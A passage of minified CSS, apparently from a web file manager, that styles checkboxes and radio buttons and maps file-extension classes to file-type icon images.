width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none 